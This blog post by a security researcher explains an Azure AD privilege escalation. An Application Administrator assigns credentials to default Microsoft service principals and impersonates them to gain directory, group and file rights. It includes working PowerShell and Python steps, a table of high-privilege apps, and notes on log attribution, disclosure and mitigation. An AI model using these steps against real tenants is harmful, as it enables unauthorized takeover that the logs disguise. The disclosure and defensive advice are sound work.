Azure AD privilege escalation - Taking over default application permissions as Application Admin
During both my DEF CON and Troopers talks I mentioned a vulnerability that existed in Azure AD where an Application Admin or a compromised On-Premise Sync Account could escalate privileges by assigning credentials to applications. When revisiting this topic I found out the vulnerability was actually not fixed by Microsoft, and that there are still methods to escalate privileges using default Office 365 applications. In this blog I explain the why and how. The escalation is still possible since this behaviour is considered to be “by-design” and thus remains a risk.
Applications and Service Principals
In Azure AD there is a distinction between Applications and Service Principals. An application is the configuration of an application, whereas the Service Principal is the security object that can actually have privileges in the Azure Directory. This can be quite confusing as in the documentation they are usually both called applications. The Azure portal makes it even more confusing by calling Service Principals “Enterprise Applications” and hiding most properties of the service principals from view. For Office 365 and other Microsoft applications, the Application definition is present in one of Microsoft’s dedicated Azure directories. In an Office 365 tenant, service principals are created for these applications automatically, giving an Office 365 Azure AD about 200 service principals by default that all have different pre-assigned permissions.
Application roles
The way Azure AD applications work is that they can define roles, which can then be assigned to users, groups or service principals. If you read the documentation for the Microsoft Graph permissions you can see permissions such as Directory.Read.All
. These are actually roles defined in the Microsoft Graph application, which can be assigned to service principals. In the documentation and Azure Portal, these roles are called “Application permissions”, but we’re sticking to the API terminology here. The roles defined in the Microsoft graph application can be queried using the AzureAD PowerShell module:
When we try to query for applications that have been assigned one or more roles, we can see that in my test directory the appadmintest
app has a few roles assigned (though it’s not exactly clear what roles that are since there’s a lot of GUID references):
There is however no way to query within an Azure AD which roles have been assigned to default Microsoft applications. So to enumerate this we have to get a bit creative. An Application Administrator (or the On-premise Sync account if you are escalating from on-premise to the cloud) can assign credentials to an application, after which this application can log in using the client credential grant OAuth2 flow. Assigning credentials is possible using PowerShell:
PS C:\> $sp = Get-AzureADServicePrincipal -searchstring "Microsoft StaffHub"
PS C:\> New-AzureADServicePrincipalPasswordCredential -objectid $sp.ObjectId -EndDate "31-12-2099 12:00:00" -StartDate "6-8-2018 13:37:00" -Value redactedpassword
CustomKeyIdentifier :
EndDate : 31-12-2099 12:00:00
KeyId :
StartDate : 6-8-2018 13:37:00
Value : redactedpassword
After which we can log in using some python code and have a look at the issued access token. This JWT displays the roles the application has in the Microsoft Graph:
import requests
import json
import jwt
import pprint
# This should include the tenant name/id
AUTHORITY_URL = 'https://login.microsoftonline.com/ericsengines.onmicrosoft.com'
TOKEN_ENDPOINT = '/oauth2/token'
data = {'client_id':'aa580612-c342-4ace-9055-8edee43ccb89',
'resource':'https://graph.microsoft.com',
'client_secret':'redactedpassword',
'grant_type':'client_credentials'}
r = requests.post(AUTHORITY_URL + TOKEN_ENDPOINT, data=data)
data2 = r.json()
try:
jwtdata = jwt.decode(data2['access_token'], verify=False)
pprint.pprint(jwtdata)
except KeyError:
pass
This will print the data from the token, containing the “Roles” field:
{
"aio": "42FgYJg946pl8aLnJXPOnn4zTe/mBwA=",
"app_displayname": "Microsoft StaffHub",
"appid": "aa580612-c342-4ace-9055-8edee43ccb89",
"appidacr": "1",
"aud": "https://graph.microsoft.com",
"exp": 1567200473,
"iat": 1567171373,
"idp": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/",
"iss": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/",
"nbf": 1567171373,
"oid": "56748bde-f24d-4a5b-aa2d-c88b175dfc80",
"roles": ["Directory.ReadWrite.All",
"Mail.Read",
"Group.Read.All",
"Files.Read.All",
"Group.ReadWrite.All"],
"sub": "56748bde-f24d-4a5b-aa2d-c88b175dfc80",
"tid": "50ad18e1-bb23-4466-9154-bc92e7fe3fbb",
"uti": "2GScBJopwk2e3EFce7pgAA",
"ver": "1.0",
"xms_tcdt": 1559139940
}
This method only seemed to work for the Microsoft Graph (and not for the Azure AD graph). I am unsure if this is because no apps have permissions on the Azure AD graph or if the system used for these permissions is different.
If we perform this action for all ~200 default apps in an Office 365 tenant, we get an overview of all the permissions these applications have. Below is an overview of the most interesting permissions that I’ve identified.
Application name | AppId | Access |
---|---|---|
Microsoft Forms | c9a559d2-7aab-4f13-a6ed-e7e9c52aec87 | Sites.ReadWrite.All |
Microsoft Forms | c9a559d2-7aab-4f13-a6ed-e7e9c52aec87 | Files.ReadWrite.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | Sites.ReadWrite.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | Sites.FullControl.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | Files.ReadWrite.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | Group.ReadWrite.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | User.ReadWrite.All |
Microsoft Cloud App Security | 05a65629-4c1b-48c1-a78b-804c4abdd4af | IdentityRiskyUser.ReadWrite.All |
Microsoft Teams | 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | Sites.ReadWrite.All |
Microsoft StaffHub | aa580612-c342-4ace-9055-8edee43ccb89 | Directory.ReadWrite.All |
Microsoft StaffHub | aa580612-c342-4ace-9055-8edee43ccb89 | Group.ReadWrite.All |
Microsoft.Azure.SyncFabric | 00000014-0000-0000-c000-000000000000 | Group.ReadWrite.All |
Microsoft Teams Services | cc15fd57-2c6c-4117-a88c-83b1d56b4bbe | Sites.ReadWrite.All |
Microsoft Teams Services | cc15fd57-2c6c-4117-a88c-83b1d56b4bbe | Group.ReadWrite.All |
Office 365 Exchange Online | 00000002-0000-0ff1-ce00-000000000000 | Group.ReadWrite.All |
Microsoft Office 365 Portal | 00000006-0000-0ff1-ce00-000000000000 | User.ReadWrite.All |
Microsoft Office 365 Portal | 00000006-0000-0ff1-ce00-000000000000 | AuditLog.Read.All |
Azure AD Identity Governance Insights | 58c746b0-a0b0-4647-a8f6-12dde5981638 | AuditLog.Read.All |
Kaizala Sync Service | d82073ec-4d7c-4851-9c5d-5d97a911d71d | Group.ReadWrite.All |
So the TL;DR is that if you compromise an Application Administrator account or the on-premise Sync Account you can read and modify directory settings, group memberships, user accounts, SharePoint sites and OneDrive files. This is done by assigning credentials to an existing service principal with these permissions and then impersonating these applications.
You can exploit this by assigning a password or certificate to a service principal and then logging in as that service principal. I use Python for logging in with a service principal password since the PowerShell module doesn’t support this (it does support certificates but that’s more complex to set up).
The below command shows that when logging in with such a certificate, we do have the power to modify group memberships (something the application admin normally doesn’t have):
PS C:\> add-azureadgroupmember -RefObjectId 2730f622-db95-4b40-9be7-6d72b6c1dad4 -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8
PS C:\> Get-AzureADGroupMember -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8
ObjectId DisplayName UserPrincipalName UserType
-------- ----------- ----------------- --------
2730f622-db95-4b40-9be7-6d72b6c1dad4 Mark mark@bobswrenches.onmicrosoft.com Member
In the Azure AD audit log, the actions are shown as performed by “Microsoft StaffHub”, and thus nothing in the log indicates these actions were actually performed by the application administrator.
Thoughts and disclosure process
I don’t really see why credentials can be assigned to default service principals this way and what a possible legitimate purpose would be of this. In my opinion, it shouldn’t be possible to assign credentials to first-party Microsoft applications. The Azure portal doesn’t offer this option and does not display these “backdoor” service principals credentials, but the API’s such as the Microsoft Graph and Azure AD Graph have no such limitations.
When I reported the fact that a privilege escalation is still possible this way (even after I was told it was fixed last year) I got a reply back from MSRC stating that Application Administrators assigning credentials to applications and obtaining more rights is documented and thus not a vulnerability.
If you are administering an Azure AD environment I recommend implementing checks for credentials being assigned to default service principals and to regularly review who control the credentials of applications with high privileges.
Update July 2024: In the years since this blog, Microsoft has blocked this possibility on almost all of their first-party service principals, with some exceptions. So this approach will not work any more for Microsoft first party service principals, but it is still valid for applications from within the tenant or from other third parties.